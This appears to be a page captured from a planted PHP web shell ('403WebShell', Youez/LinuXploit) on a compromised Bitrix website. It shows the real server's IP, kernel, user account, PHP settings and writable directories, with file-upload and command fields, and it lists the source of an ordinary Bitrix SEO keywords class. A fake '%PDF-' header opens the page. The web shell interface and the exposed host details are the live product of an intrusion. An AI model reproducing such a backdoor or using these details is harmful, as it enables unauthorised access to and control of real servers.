%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.126.33
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/seo/classes/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/seo/classes/general/seo_keywords.php
<?php

class CSeoKeywords
{ 
	public static function GetList($arOrder, $arFilter)
	{
		global $DB;
		
		$arAllFields = array('ID', 'URL', 'SITE_ID', 'KEYWORDS');
		
		$arWhere = array();
		
		foreach ($arFilter as $key => $value)
		{
			if (in_array($key, $arAllFields))
			{
				switch ($key)
				{
					case 'ID':
						$arWhere[] = 'ID=\''.intval($value).'\'';
					break;
					
					case 'SITE_ID':
						$arWhere[] = 'SITE_ID=\''.$DB->ForSql($value).'\'';
					break;
					
					case 'URL':
						if (array_key_exists('URL_EXACT_MATCH', $arFilter) && $arFilter['URL_EXACT_MATCH'] == 'N')
							$arWhere[] = 'URL LIKE \''.$DB->ForSql($value).'%\'';
						else
							$arWhere[] = 'URL=\''.$DB->ForSql($value).'\'';
					break;
					
					case 'KEYWORDS':
						$arWhere[] = 'KEYWORDS LIKE \'%'.$DB->ForSql($value).'%\'';
					break;
				}
			}
		}
		
		$strWhere = '';
		if (count($arWhere) > 0)
			$strWhere = 'WHERE '.implode(' AND ', $arWhere);
		
		$strOrder = '';
		foreach ($arOrder as $key => $dir)
		{
			$dir = ToUpper($dir);
			$key = ToUpper($key);
			
			if ($dir != 'DESC') $dir = 'ASC';
		
			if (in_array($key, $arAllFields))
			{
				$strOrder .= ($strOrder == '' ? '' : ', ').$DB->ForSql($key).' '.$dir;
			}
			
		}
		if ($strOrder != '') $strOrder = 'ORDER BY '.$strOrder;
		
		$query = 'SELECT * FROM b_seo_keywords ';
		$query .= $strWhere.' ';
		$query .= $strOrder;
	
		return $DB->Query($query);
	}
	
	public static function CheckFields($ACTION, &$arFields)
	{
		if ($ACTION == 'UPDATE' && isset($arFields['ID']))
			$arFields['ID'] = intval($arFields['ID']);
	
		$arFields['URL'] = CSeoUtils::CleanURL($arFields['URL']);
		
		if (isset($arFields['KEYWORDS']))
		{
			if (!is_array($arFields['KEYWORDS'])) 
				$arKeywords = explode(",", $arFields['KEYWORDS']);
			else 
				$arKeywords = array_values($arFields['KEYWORDS']);
			
			if (!is_array($arKeywords)) 
				$arKeywords = array();
			
			foreach ($arKeywords as $key => $value) 
			{
				$arKeywords[$key] = trim($value);
				if ($arKeywords[$key] == '')
					unset($arKeywords[$key]);
			}
			
			$arFields['KEYWORDS'] = implode(', ', $arKeywords);
		}
		else
		{
			$arFields['KEYWORDS'] = '';
		}
		
		if (!isset($arFields['SITE_ID']) && defined('SITE_ID'))
			$arFields['SITE_ID'] = SITE_ID;
		
		return true;
	}
	
	public static function Add($arFields)
	{
		global $APPLICATION, $DB;
		
		if (!CSeoKeywords::CheckFields('ADD', $arFields))
		{
			return false;
		}
	
		$arAllFields = array('URL', 'SITE_ID', 'KEYWORDS');
		
		$arInsert = array();
		foreach ($arFields as $key => $value)
		{
			if (in_array($key, $arAllFields))
			{
				$arInsert[$key] = "'".($key == 'SITE_ID' ? $DB->ForSql($value, 2) : $DB->ForSql($value))."'";
			}
		}
		
		$ID = $DB->Insert('b_seo_keywords', $arInsert);
		return $ID;
	}
	
	public static function Update($arFields)
	{
		global $APPLICATION, $DB;
		
		if (!CSeoKeywords::CheckFields('UPDATE', $arFields))
		{
			return false;
		}
		
		$strUpdateBy = isset($arFields['ID']) ? 'ID' : 'URL';
		
		if ($strUpdateBy == 'ID')
		{
			$ID = $arFields['ID'];
			unset($arFields['ID']);
		}
		else
		{
			$URL = $DB->ForSql($arFields['URL']);
			unset($arFields['URL']);
		}
		
		$arAllFields = array('ID', 'URL', 'SITE_ID', 'KEYWORDS');
		
		$arUpdate = array();
		foreach ($arFields as $key => $value)
		{
			if (in_array($key, $arAllFields))
			{
				$arUpdate[$key] = "'".($key == 'SITE_ID' ? $DB->ForSql($value, 2) : $DB->ForSql($value))."'";
			}
		}
		
		$condition = $strUpdateBy == 'ID' ? 'WHERE ID=\''.$ID.'\'' : 'WHERE URL=\''.$URL.'\'';
		if($siteId = $DB->ForSql($arFields['SITE_ID']))
			$condition .= ' AND SITE_ID=\''.$siteId.'\'';
		$cnt = $DB->Update('b_seo_keywords', $arUpdate, $condition);
		
		if ($cnt <= 0 && $strUpdateBy == 'URL')
		{
			$arUpdate['URL'] = "'".$URL."'";
			$cnt = intval(($DB->Insert('b_seo_keywords', $arUpdate)) > 0);
		}
		
		return $cnt;
	}
	
	public static function GetByURL($URL, $SITE_ID = false, $bPart = false, $bCleanUrl = false)
	{
		if ($bCleanUrl)
			$URL = CSeoUtils::CleanURL($URL);
	
		$arFilter = array('URL' => $URL);
		if ($bPart)
			$arFilter['URL_EXACT_MATCH'] = 'N';
		if ($SITE_ID)
			$arFilter['SITE_ID'] = $SITE_ID;
		
		$dbRes = CSeoKeywords::GetList(array('URL' => 'ASC', 'ID' => 'ASC'), $arFilter);
		$arKeywords = array();
		while ($arRes = $dbRes->Fetch())
		{
			$arKeywords[] = $arRes;
		}
		
		return $arKeywords;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit